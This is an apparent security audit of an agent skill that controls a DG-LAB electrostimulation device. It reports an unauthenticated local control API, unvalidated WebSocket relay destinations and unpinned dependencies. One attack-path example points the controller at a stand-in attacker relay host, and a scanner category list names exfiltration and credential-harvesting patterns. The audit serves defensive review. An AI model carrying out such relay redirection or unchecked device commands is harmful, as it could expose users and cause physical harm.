Security audit

DG-LAB Control

Security checks for vulnerabilities and agentic risk

Overview

This skill openly controls a physical electrostimulation device, but its local control API and installation workflow leave important safety and access checks unenforced.

Review before installing. Use only with an intentionally paired DG-LAB device, keep the relay local and trusted, do not expose or share the local API port, and treat any local process on the same machine as able to send device-control commands. Prefer a version that adds API authentication, server-side consent/channel enforcement, pinned dependencies, and stricter relay validation.

A.I.G

Vulnerability Patterns

Insecure DependenciesIntroduces malicious components through unsafe dependency sources
Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review

Findings (4)

T09 · Insecure Skill Coding Practices

Error

Location: scripts/ws_client.py:391
Finding: Physical device safety workflow is not enforced by the controller
Content: View full analysis
dict: channel = body.get("channel", "A") action = body.get("action", "set") value = int(body.get("value", 1)) self._run_async(self.session.send_strength(channel, action, value)) return { "ok": True, "action": f"strength {action}", "channel": channel, "value": value, } def _handle_waveform(self, body: dict) -> dict: channel = body.get("channel", "A") ...[truncated 2543 chars]
Remediation: View remediation

T09 · Insecure Skill Coding Practices

Error

Location: scripts/ws_client.py:391
Finding: Unauthenticated loopback HTTP API permits local physical-device control
Content: View full analysis
Remediation: View remediation

T09 · Insecure Skill Coding Practices

Warning

Location: scripts/ws_client.py:120
Finding: Arbitrary WebSocket relay destinations contradict the documented local trust boundary
Content: View full analysis
str | None: if not self.client_id: return None return ( f"https://www.dungeon-lab.com/app-download.php" f"#DGLAB-SOCKET#{self.ws_url}/{self.client_id}" ) ``` ```python parser.add_argument( "--ws-url", required=True, help="WebSocket relay server URL (e.g. ws://localhost:9999)" ) ``` The supplied value is later used directly: ```python self._ws = await websockets.connect( self.ws_url, ping_interval=30, ping_timeout=10, close_timeout=5, ) ``` ### Technical Analysis Project documentation states that control communication remains on the local machine or local network. The implementation does not enforce that boundary. `--ws-url` accepts an arbitrary destination and passes it directly to `websockets.connect`. There is no validation of: - The URI scheme. - Whether the host resolves to loopback or an approved local address. - Whether TLS is required for a non-loopback destination. - Whether the relay is explicitly trusted. - Whether redirects or DNS resolution produce an unexpected destination. The selected relay URL and the issued client identifier are also embedded into the pairing URL. If a user is induced to start the controller with an attacker-controlled relay, the paired application will be directed to that relay. This is not evidence that the bundled project intentionally exfiltrates data. It is a configuration weakness that makes the stated local-only privacy boundary unenforced. ### Attack Path 1. An attacker, unsafe wrapper, or misleading instruction supplies an external relay URL: ```bash python scripts/ws_client.py \ --ws-url ws://attacker-controlled.example:9999 \ --st ...[truncated 1013 chars]
Remediation: View remediation

T08 · Insecure Dependencies

Warning

Location: scripts/requirements.txt:1
Finding: Mutable and incompletely pinned third-party installation dependencies
Content: View full analysis
=12.0 ``` The documented installation workflow also uses mutable upstream state: ```bash pip install websockets ``` ```bash cd ~ && git clone https://github.com/DG-LAB-OPENSOURCE/DG-LAB-OPENSOURCE.git cd ~/DG-LAB-OPENSOURCE/socket/v2/backend && npm install ``` ### Technical Analysis The Python requirement specifies only a lower bound, so future versions can be installed without review. The Skill instructions are less restrictive and install the latest available `websockets` release directly. The relay component is cloned without pinning a reviewed commit or release tag. Its npm dependencies are then installed from the cloned repository. The audited artifact does not include the relay repository, its lockfile, or its dependency tree, so those components are outside the reviewed code base and can change independently after this audit. No malicious dependency or compromised upstream source was identified in the reviewed files. The confirmed issue is that installation is not reproducible and allows the effective dependency set to change after review. ### Attack Path 1. A future upstream Python package, relay repository revision, or transitive npm dependency becomes compromised or introduces unsafe behavior. 2. A user or Agent follows the documented installation process. 3. `pip` resolves a newer allowed Python version, or `git clone` retrieves the then-current default branch. 4. `npm install` resolves or installs the relay's dependency graph and may execute package lifecycle scripts. 5. The changed code executes during installation or when the controller and relay are started. The exploitability depends on a compromised or unsafe upstream update; no such ...[truncated 574 chars]
Remediation: View remediation

SkillSpector

Vulnerability Patterns

Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
Behavioral ASTexec() Call, eval() Call, Dynamic Import

Findings (14)

Natural-Language Policy Violations

Medium

Category: Not specified by scanner
Confidence: 93% confidence
Finding: The skill documentation is entirely in Chinese, including setup, usage, and safety instructions, with no indication that other languages are supported or that the user can choose a language. This creates a natural-language policy concern because the skill effectively enforces a specific language without documented user opt-in or justification.
Content: No source excerpt is available for this finding.

Undeclared Tool Scope

Medium

Category: MCP Least Privilege
Confidence: 88% confidence
Finding: The skill declares no explicit tool/permission scope even though it instructs the agent to read local files and interact with local/network services. Without least-privilege constraints, an agent framework may grant broader filesystem or execution access than necessary, increasing the blast radius if the skill is misused or invoked unexpectedly.
Content: No source excerpt is available for this finding.

Vague Triggers

Medium

Category: Not specified by scanner
Confidence: 95% confidence
Finding: The activation description contains broad trigger phrases like pulse device, e-stim, waveform control, and hardware interaction, which can cause the skill to activate in ambiguous contexts. Because this skill controls a real electrostimulation device, unintended invocation is more dangerous than in a purely informational skill and could lead to unsafe control flows being initiated.
Content: No source excerpt is available for this finding.

External Transmission

Medium

Category: Data Exfiltration
Confidence: 90% confidence
Finding: The skill sends control commands over HTTP to a localhost service that in turn drives a physical electrostimulation device. Even though the endpoint is local, this is still an external transmission to another process controlling safety-relevant hardware; misuse, prompt injection, or accidental invocation could result in unwanted physical stimulation.
Content: Scanner excerpt · SKILL.md (reported line 200)May include surrounding context.
使用示例：

bash
curl -X POST http://127.0.0.1:8899/waveform \ -H "Content-Type: application/json" \ -d '{"channel":"A","preset":"breathing","duration":10}'

Missing User Warnings

Medium

Category: Not specified by scanner
Confidence: 95% confidence
Finding: This protocol documentation exposes direct commands for changing stimulation strength and sending arbitrary waveform patterns to a physical e-stim device, but it provides no safety constraints, user-consent requirements, rate limits, or hazard warnings. In the context of a skill specifically designed to control DG-LAB pulse hardware, this omission materially increases the risk of unsafe or coercive physical actuation, including abrupt intensity changes or prolonged stimulation.
Content: No source excerpt is available for this finding.

Missing User Warnings

Medium

Category: Not specified by scanner
Confidence: 94% confidence
Finding: This documentation provides concrete waveform encodings including full-strength examples for a physical e-stim device, but omits any safety guidance, contraindications, consent requirements, or warnings about bodily harm. In the context of a skill whose stated purpose is to control DG-LAB hardware and manage strength/output, this omission increases the chance that downstream agents or users will generate and transmit unsafe stimulation patterns.
Content: No source excerpt is available for this finding.

Natural-Language Policy Violations

Low

Category: Not specified by scanner
Confidence: 98% confidence
Finding: The text directs the agent to "统一使用 '郊狼'" when communicating with the user, which forces a specific language/terminology choice regardless of the user's preferred language. This is a natural-language policy issue because it removes user choice instead of adapting or asking preference.
Content: No source excerpt is available for this finding.

Natural-Language Policy Violations

Low

Category: Not specified by scanner
Confidence: 72% confidence
Finding: SQP-3 covers natural-language policy violations such as forcing a specific language without user opt-in. This file presents all instructional content in Chinese and does not mention language options, localization scope, or a justified region-specific constraint.
Content: No source excerpt is available for this finding.

Natural-Language Policy Violations

Low

Category: Not specified by scanner
Confidence: 84% confidence
Finding: The JSON defines user-facing name_zh fields throughout the file, indicating a fixed Chinese-language presentation for preset names. There is no accompanying alternative locale field or opt-in mechanism in this file, so the skill appears to enforce a specific language without user choice.
Content: No source excerpt is available for this finding.

Unpinned Dependencies

Low

Category: Supply Chain
Confidence: 97% confidence
Finding: The dependency is specified as websockets>=12.0, which allows any future major or minor release to be installed. This weakens supply-chain control and reproducibility, and could unexpectedly introduce a vulnerable or breaking version into a skill that directly controls hardware over WebSocket.
Content: Scanner excerpt · scripts/requirements.txt (reported line 1)May include surrounding context.
text
websockets>=12.0

Unverifiable Dependency: websockets has 4 known advisory(ies) (CVE-2018-1000518 (websockets is vulnerable to denial of service by memory exhaustion); CVE-2021-33880 (Observable Timing Discrepancy in aaugustin websockets library); CVE-2018-1000518 (aaugustin websockets version 4 contains a CWE-409: Improper Handling of Highly C) +1 more), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low

Category: Supply Chain
Confidence: 93% confidence
Finding: Because the manifest does not pin the websockets version, there is no assurance that deployment will avoid releases affected by known advisories. In this skill's context, the library is central to device communication, so pulling an affected version could enable denial of service, information leakage, or other websocket-layer issues that disrupt or interfere with pulse-device control.
Content: No source excerpt is available for this finding.

Intent-Code Divergence

Low

Category: Not specified by scanner
Confidence: 89% confidence
Finding: The module docstring's HTTP endpoint list presents the exposed API surface, but it does not include POST /emergency-stop even though the handler implements it later. Because this endpoint can immediately zero both channels and clear queues, the documented interface actively misstates what commands the local control API accepts.
Content: No source excerpt is available for this finding.

Natural-Language Policy Violations

Low

Category: Not specified by scanner
Confidence: 96% confidence
Finding: The /qrcode endpoint returns a hard-coded Chinese hint string ("APP扫描此二维码完成配对") to all users. This imposes a specific language in a user-facing response without offering locale choice or documenting that the skill is intentionally Chinese-only.
Content: No source excerpt is available for this finding.

Dynamic attribute access via getattr()

Low

Category: Dangerous Code Execution
Confidence: 50% confidence
Finding: Dynamic getattr() with a non-literal attribute name can access arbitrary object attributes, potentially bypassing access controls.
Content: Scanner excerpt · scripts/ws_client.py (reported line 509)May include surrounding context.
python
args = parser.parse_args() logging.basicConfig( level=getattr(logging, args.log_level), format="%(asctime)s [%(levelname)s] %(name)s: %(message)s", datefmt="%H:%M:%S", )

Static analysis

No suspicious patterns detected.